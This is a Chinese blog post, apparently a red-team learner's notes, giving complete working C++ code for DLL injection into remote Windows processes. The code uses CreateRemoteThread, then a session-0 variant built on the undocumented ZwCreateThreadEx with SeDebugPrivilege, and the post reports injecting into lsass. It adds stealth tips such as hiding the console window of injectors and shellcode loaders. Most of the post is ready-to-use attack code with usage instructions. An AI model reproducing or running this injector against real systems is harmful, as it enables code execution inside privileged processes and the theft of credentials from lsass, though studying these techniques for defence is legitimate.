dll注入的实现及session0注入
记录一下跟着红队蓝军师傅学免杀的过程
本节旨在学习dll注入和代码实现并不涉及免杀知识
dll注入流程
dll注入要么注入自己写的程序要么找个程序进行注入,一般是找其他程序进行注入
所以按照上面的步骤进行
其中申请空间,创建线程都是在远程的另一个进程中进行所以和在本地进行用的api有些不一样
loadlibrary在kernel32.dll中所以需要先拿到kernel32的句柄然后找到里面的loadlibrary使用来加载我们自己的dll
我们自己写的dll需要完整的路径因为系统加载dll的时候一般是会在环境变量中路径下去找的。
使用vs 2022版本 Windows10电脑,Administrator账号运行
首先简单讲一下在编码过程中的字符编码的问题
ASCII字符占1字节 Unicode字符占2字节
用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算,但是后面有些地方只能使用ASCII格式比如说些BOF
可以在属性中的高级修改字符集
使用_T()可以在任何编码中都兼容,不过需要#include "tchar.h"
MessageBox(0,_T("1"),_T("1"),MB_OK);
如果出现实参与形参不兼容的情况,改为否即可
在有些情况下生成的exe拿到另一台虚拟机上发现运行爆缺少什么dll 140的问题
其实就是默认的生成方式是不会将全部引用的dll文件打包到一起的,所以修改这个地方为/MT就会将所有的dll打包进去了,就是体积会变大
实现步骤:
新建空项目,然后建个源代码,按照上面设置一下这里使用Unicode编码。
1.获取进程句柄
通过进程名获取PID,因为pid是随机的所以我们只能通过将此时的进程信息全部拍摄快照然后通过想要注册的进程名称去循序寻找这个进程名称然后找到他的pid号
#include <tlhelp32.h>
#include <Windows.h>
#include <iostream>
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
如果有多个同名称的进程只会获取第一个的PID号
2.计算dll路径长度
3.调用 VirtualAllocEx 在进程里面申请内存
4.拷贝dll路径到内存空间里面
5.获取 kernel32.dll 的地址
6.获取 LoadLibrary 的地址
7.通过 CreateRemoteThread 创建远程线程加载dll
8.关闭句柄
完整代码:
需在代码中自定义dll文件路径以及要注入的启动的程序。
#include <Windows.h>
#include <iostream>
#include <tchar.h>
#include <tlhelp32.h> //这个要放最下面
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试,error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{
DWORD size = 0;
DWORD DllAddr = 0;
// 1.打开进程
HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);//PROCESS_ALL_ACCESS参数可以难道当前线程的所有权限
if (hprocess == NULL)
{
printf("OpenProcess error!\n");
return FALSE;
}
size = (wcslen(DllName) + 1) * sizeof(TCHAR); //acsii编码的情况下使用strlen 进行计算 Unicode编码的情况下使用wcslen进行计算
//需要先计算一下我们要插入的dll的大小,然后才会去线程中申请这么大的空间出来进行注入
// 2.申请空间
LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,
PAGE_READWRITE);
//开辟的空间需要可读可写可执行,一般直接开辟rwx会比较敏感一些情况下可以先开辟rw然后在让写入其中的代码开辟rwx的空间
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx error!\n");
return FALSE;
}
// 3.写入内存
BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,
NULL);
if (pAllocMemory == 0)
{
printf("WriteProcessMemory error!\n");
return FALSE;
}
// 4.获取LoadLibrary - kenrel32.dll
FARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"),
"LoadLibraryW");
//loadlibrary在kernel32.dll中所以需要先拿到kernel32的句柄然后找到里面的loadlibrary使用来加载我们自己的dll
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
// 5.创建线程
HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory,
0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread error!\n");
return FALSE;
}
// 6.等待线程函数结束
WaitForSingleObject(hThread, -1);
// 7.释放DLL空间
VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);
// 8.关闭句柄
CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID = GetProcessPID(L"notepad.exe");
RemoteThreadInject(PID, L"C:\\Users\\test\\Desktop\\x64.dll");
}
在进行dll注入中都使用messagebox的形式将报错信息打印出来,这一段代码就是生成出来的注入进去的dll文件。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(0, L"1", L"!", MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
64位的dll只能注入64位的程序
一般现在的系统直接运行的都是64位的程序
system32目录下都是64位的程序,在SysWOW64的文件下面都是32位的程序,可以找到32位的记事本
如果遇到一些报错就是字符集或者那个符合模式要修改为否,然后必须是Administrator的权限才可以注入成功
先用管理员启动cmd
输入
net user administrator /active:yes
就可以激活这个账号了,然后再这个账号上面进行代码的编写运行就可以实现注入
优化注入程序
在代码运行后会留下一个黑窗
只有把messagebox的消息确定了才会消失,这是因为这个main函数已知还在运行所以这个窗口就一直在。
在实际中肯定是不希望出现这个黑窗窗的
需要在这里选择为窗口
再属性页修改这个入口点为mainCRTStartup,不仅是这里的代码shellcodeloader的代码也都需要修改这里达到更好的隐藏
这个时候运行代码进行注入就不会出现黑窗窗了
我们希望实际中是通过cmd的方式调用注入程序并且可以输入参数,比如指定输入dll的路径,或者一些进程PID来提高效率
为了模拟cmd可以输入的参数可以在这里输入
这里讲一下怎么接收参数
项目设置为使用 Unicode,则 argv 参数将是 wchar_t* 类型的数组,使用 wprintf 或 _tprintf 以及相应的宽字符串格式说明符
同时要使用_tmain需要引入 #include 头
int _tmain(int argc, TCHAR* argv[])
{
//DWORD PID = GetProcessPID(L"notepad.exe");
//RemoteThreadInject(PID, L"C:\\Users\\Administrator\\Desktop\\byinjectdll.dll");
// 检查是否有足够的参数
if (argc == 3) {
_tprintf(_T("%s\n"), argv[0]);
_tprintf(_T("%d\n"), _tstol(argv[1])); //%d也就是数字的有点不一样
_tprintf(_T("%s\n"), argv[2]);
}
else {
printf("argument is to small\n");
}
}
当然除了这种方式还可以使用scanf函数接受参数。
这样就可以正常的接受参数了
那么代码我们也可以简化到不需要去搜寻PID值而是手动输入PID值进行注入
然后还可以继续完善一下,比如说如果默认打印一段使用方式
int _tmain(int argc, TCHAR* argv[])
{
//DWORD PID = GetProcessPID(L"notepad.exe");
//RemoteThreadInject(PID, L"C:\\Users\\Administrator\\Desktop\\byinjectdll.dll");
// 检查是否有足够的参数
if (argc == 3) {
//_tprintf(_T("%s\n"), argv[0]);
//_tprintf(_T("%d\n"), _tstol(argv[1])); // 假设 argv[1] 是字符串
//_tprintf(_T("%s\n"), argv[2]);
RemoteThreadInject(_tstol(argv[1]), argv[2]);
}
else {
_tprintf(_T("usage:%s <PID> <dllPATH>\n"),argv[0]);
_tprintf(_T("exp:%s 520 d:\\test.dll\n"),argv[0]);
}
}
另外就是每一段的函数可以将报错的原因打印出来使用GetLastError()
这个函数的报错信息是一个数字,可以去网上找到对应数字的报错原因,常见的有5代表权限不够的问题,87代表输入的参数有问题
不过此处的代码只能注入低权限的进程,哪怕是用高权限的用户去注入也是无法成功的注入高权限的进程。
注入高权限进程:
如果我们想要注入高权限的如何实现,这里就要使用到ZwCreateThreadEx,此 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中
可以看到这两个我们之前用的创建线程函数的底层都是调用了这个NtCreateThradeEx
ZwCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数 CreateThreadFlags 为1
使用 CreateRemoteThread 注入失败DLL失败的关键在第七个参数 CreateThreadFlags , 他会导致线
程创建完成后一直挂起无法恢复进程运行,导致注入失败
这里讲一下微软不常见的API:
未导出API:0环实现了函数,但是没有从dll中给导出 意思就是微软自己偷偷用的api(通过特征码去定位然后想办法使用)
未文档化的API:在dll里面能够看到,没有写进.h头文件也不能直接调用,没有微软的使用文档不知道参数(通过自己声明函数结构去使用)
ZwCreateThreadEx
ZwCreateThreadEx 是一个未文档化的API,但是可以通过 GetProcAddress 来获取其地址,需要我们自己在代码中声明函数然后使用
此处如果是64位的就会自动使用上面的如果是32位的就会使用下面的这种
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
代码实现的流程和前面的差不多:
1.打开注入进程,获取进程句柄
2.在注入的进程申请内存地址
3.写入内存地址
4.获取LoadLibraryA函数地址
5.加载ntdll
6.获取ZwCreateThreadEx函数地址
7.使用 ZwCreateThreadEx 创建远线程,实现 DLL 注入
8.关闭句柄
session0函数的重点必须拿到 SE_PRIVILEGE_ENABLED 权限,所以需要提权,这个地方的提权不是我们常说的普通用户提升为管理员用户,而是说的拿到一个令牌一个token,在mimikatz中每次使用前都得privilege::debug一下就是为了拿到一个调试进程的令牌,有个这个令牌就可以去操作高权限的进程,当然前提也必须是管理员Administrator的权限来执行这个操作拿这个令牌,有了这个令牌才可以去注入system进程
// 提权函数
//启用调试权限
BOOL EnableDebugPrivilege()
{
HANDLE hToken; //用于存储当前进程的访问令牌句柄。
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
完整代码:
这里代码使用ASCII编码格式,那个字符集的地方选择第一个未设置就是的
然后其他的一些设置,前面提到的都可以设置一下什么mainCRTStartup之前说的避免黑窗什么的这里为了演示就不修改为窗口,默认控制台可以看到参数
#include <Windows.h>
#include <iostream>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName)
{
EnableDebugPrivilege();
HANDLE hRemoteThread;
DWORD dwStatus = 0;
//打开注入进程,获取进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess error : %d\n", GetLastError());
return -1;
}
//在注入进程中申请空间
SIZE_T dwSize = lstrlen(pszDllFileName) + 1; //acsii编码的情况下使用strlen计算,+1为空终止符留出空间
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT,
PAGE_READWRITE);
if (NULL == pDllAddr)
{
printf("VirtualAllocEx error : %d\n", GetLastError());
return -1;
}
if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,
NULL))
{
printf("WriteProcessMemory error : %d\n", GetLastError());
return -1;
}
//获取Ntdll.dll的句柄
HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
printf("Load ntdll.dll error : %d\n", GetLastError());
return -1;
}
//从kernel32.dll中获取LoadLibraryA的地址
FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryA");
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//从Ntdll中获取ZwCreateThreadEx这个函数的地址然后给了ZwCreateThreadEx,把他的灵魂拿出来装入一个肉体中可以使用了
typedef_ZwCreateThreadEx ZwCreateThreadEx =
(typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
printf("GetProcAddress error: %d\n", GetLastError());
return -1;
}
//使用ZwCreateThreadEx创建远程线程实现dll注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,
hProcess,
(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
printf("ZwCreateThreadEx error: %d\n", GetLastError());
return -1;
}
//关闭句柄
CloseHandle(hProcess);
FreeLibrary(hNtdllDll);
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
//可以使用scanf接收参数
//DWORD dwPid;
//sscanf(argv[1], "%d", &dwPid);
BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]);
//BOOL bRet = ZwCreateThreadExInject(dwPid, argv[2]);
if (-1 == bRet)
{
printf("Inject dll failed: %d\n", GetLastError());
}
else
{
printf("Inject dll successfully\n");
}
}
else
{
printf("\n");
printf("Usage: %s PID <DllPath>\n", argv[0]);
printf("Example: %s 520 C:\\test.dll\n", argv[0]);
exit(1);
}
}
验证
可以看到成功的注入到了lsass进程中了